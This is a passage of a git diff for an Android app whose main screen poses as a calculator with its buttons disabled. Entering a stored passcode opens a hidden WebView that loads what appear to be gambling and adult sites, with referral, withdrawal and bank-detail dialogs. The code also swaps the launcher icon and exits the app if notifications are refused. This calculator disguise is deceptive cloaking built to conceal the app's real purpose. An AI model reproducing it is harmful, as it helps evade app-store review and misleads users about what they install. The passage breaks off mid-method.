a/Dmcslot/src/main/java/com/web/dmcslot/DialogUtil.java b/base_Fachai8hk/src/main/java/com/web/base/DialogUtil.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/DialogUtil.java rename to base_Fachai8hk/src/main/java/com/web/base/DialogUtil.java index da5e994..451dfba 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/DialogUtil.java +++ b/base_Fachai8hk/src/main/java/com/web/base/DialogUtil.java @@ -1,10 +1,11 @@ -package com.web.dmcslot; +package com.web.base; import android.os.Build; import android.view.View; import android.view.Window; import android.view.WindowManager; +@Deprecated public class DialogUtil { /** * 隐藏虚拟栏 ,显示的时候再隐藏掉 diff --git a/Dmcslot/src/main/java/com/web/dmcslot/GsonUtils.java b/base_Fachai8hk/src/main/java/com/web/base/GsonUtils.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/GsonUtils.java rename to base_Fachai8hk/src/main/java/com/web/base/GsonUtils.java index 025b921..8facc6c 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/GsonUtils.java +++ b/base_Fachai8hk/src/main/java/com/web/base/GsonUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.text.TextUtils; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/InviteInfo.java b/base_Fachai8hk/src/main/java/com/web/base/InviteInfo.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/InviteInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/InviteInfo.java index c1d6448..788659c 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/InviteInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/InviteInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; import java.util.List; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/InviteListInfo.java b/base_Fachai8hk/src/main/java/com/web/base/InviteListInfo.java similarity index 97% rename from Dmcslot/src/main/java/com/web/dmcslot/InviteListInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/InviteListInfo.java index eb4f7bd..9b94e13 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/InviteListInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/InviteListInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; import java.util.List; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/LinkConfigInfo.java b/base_Fachai8hk/src/main/java/com/web/base/LinkConfigInfo.java similarity index 95% rename from Dmcslot/src/main/java/com/web/dmcslot/LinkConfigInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/LinkConfigInfo.java index d6a8966..fa044fb 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/LinkConfigInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/LinkConfigInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; diff --git a/Dmcslot/src/main/java/com/web/dmcslot/LogUtils.java b/base_Fachai8hk/src/main/java/com/web/base/LogUtils.java similarity index 99% rename from Dmcslot/src/main/java/com/web/dmcslot/LogUtils.java rename to base_Fachai8hk/src/main/java/com/web/base/LogUtils.java index 9943c14..c7bd63f 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/LogUtils.java +++ b/base_Fachai8hk/src/main/java/com/web/base/LogUtils.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import android.util.Log; diff --git a/base_Fachai8hk/src/main/java/com/web/base/MainActivity.java b/base_Fachai8hk/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); +// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/base_Fachai8hk/src/main/java/com/web/base/MainActivity2.java b/base_Fachai8hk/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..8fbdb72 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1495 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.media.AudioAttributes; +import android.media.MediaPlayer; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.gson.Gson; +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Random; +import java.util.Timer; +import java.util.TimerTask; +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + public ImageView showTopV1; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + CardView otherApp; + CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + CardView ivFaceBook; + CardView ivTelG; + CardView ivWhatsApp; + CardView ivLink; + TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private String shareUrl; + private String myInviteCode; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + private CardView cvShare; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); + getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + floatingActionButton = findViewById(R.id.bt_menu); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); + notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + ivFaceBook = findViewById(R.id.iv_facebook); + ivTelG = findViewById(R.id.iv_tel); + ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); + tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); + + cvShare = (CardView) findViewById(R.id.cv_share); + +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); +// jdclub9vip + tvLink.setText(Html.fromHtml("MISSAV")); + ivFaceBook.setOnClickListener(view -> { + toOtherApp(facebookUrl, "com.facebook.katana", 1); + }); + ivTelG.setOnClickListener(view -> { + toOtherApp(telegramUrl, "org.telegram.messenger", 2); + }); + ivWhatsApp.setOnClickListener(view -> { + toOtherApp(whatsappUrl, "com.whatsapp", 3); + }); +// ivLink.setOnClickListener(view -> { +// toLink(); +// +// }); + ivHome.setOnClickListener(view -> { + webView.loadUrl(url); + }); + floatingActionButton.setOnClickListener(view -> { + showBottomDialog(); + }); + otherApp.setOnClickListener(view -> { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + int visi = layoutOtherApp.getVisibility(); + if (visi == 0) { + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } else { + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } + }); + + + if(userId == 157||userId ==158){ + ivLink.setVisibility(View.VISIBLE); + } + + if(userId == 157){ + cvShare.setVisibility(View.VISIBLE); + } + cvShare.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + if(userId == 157){ + Intent textIntent = new Intent(Intent.ACTION_SEND); + textIntent.setType("text/plain"); + textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); + startActivity(Intent.createChooser(textIntent, "分享")); + + } + } + + break; + } + return true; + }); + ivLink.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + toLink(); + } + + break; + } + return true; + }); + + ivNotify.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + layoutOtherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + setTotalTongJi(); //每日活跃统计 + + + } + + private void toLink() { + if(userId ==157||userId ==158){ + webView.loadUrl("https://missav.live/dm19/ms"); + + }else { + webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); + } + } + + public void setBackDrawables(int drawableId){ + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * @param isRound + */ + public void setImageView(boolean isRound){ + if(isRound){ + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + }else{ + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + public void showBottomDialog() { + ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); + actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { + @Override + public void toShare() { + if (TextUtils.isEmpty(myInviteCode)) { + getMyInvite(true); + } else { + goShare(); + } + } + + @Override + public void toCheck() { + showRecordDialog(); + } + + @Override + public void toWithDrawRecords() { + showWithDrawRecordDialog(); + } + + @Override + public void toWithDrawApply() { + goWithDrawApply(); + } + + @Override + public void toBankInfo() { + showBankInfoDialog(); + } + }); + actionDialog.setCancelable(true); + actionDialog.setCanceledOnTouchOutside(true); + actionDialog.show(); + } + + public void goShare() { + Intent shareTextIntent = new Intent(); + shareTextIntent.setAction(Intent.ACTION_SEND); + String title = getString(R.string.app_sharetitle) + myInviteCode; + String parentCode = MainActivity.getString(this, "code", ""); + shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); + shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); + shareTextIntent.setType("text/plain"); + startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); + } + + private ActionWithDrawApplyDialog drawApplyDialog; + + public void goWithDrawApply() { + drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); + drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { + @Override + public void toSumbit(String content) { + sendApply(content); + } + + @Override + public void toCancel() { + + } + }); + drawApplyDialog.setCancelable(false); + drawApplyDialog.setCanceledOnTouchOutside(false); + drawApplyDialog.show(); + } + + /** + * 编辑银行卡信息 + */ + public void showBankInfoDialog() { + ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); + bankInfoDialog.setCancelable(false); + bankInfoDialog.setCanceledOnTouchOutside(false); + bankInfoDialog.show(); + } + + /** + * 发送申请记录 + */ + public void sendApply(String amount) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("amount", amount); + map.put("inviteCode", myInviteCode); + Api.getInstance().sendWithDrawApply(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); + if (drawApplyDialog != null) { + drawApplyDialog.dismiss(); + } + getMyInvite(false); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); + } + + @Override + public void onError2(Result o) { + Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + + + public void showRecordDialog() { + ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + public void showWithDrawRecordDialog() { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.setCancelable(false); + actionDialog.show(); + + + } + } + } + + private void jumpNotificationSetting() { + final ApplicationInfo applicationInfo = getApplicationInfo(); + try { + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS"); + intent.putExtra("app_package", applicationInfo.packageName); + intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName); + intent.putExtra("app_uid", applicationInfo.uid); + startActivity(intent); + } catch (Throwable t) { + t.printStackTrace(); + Intent intent = new Intent(); + intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS"); + 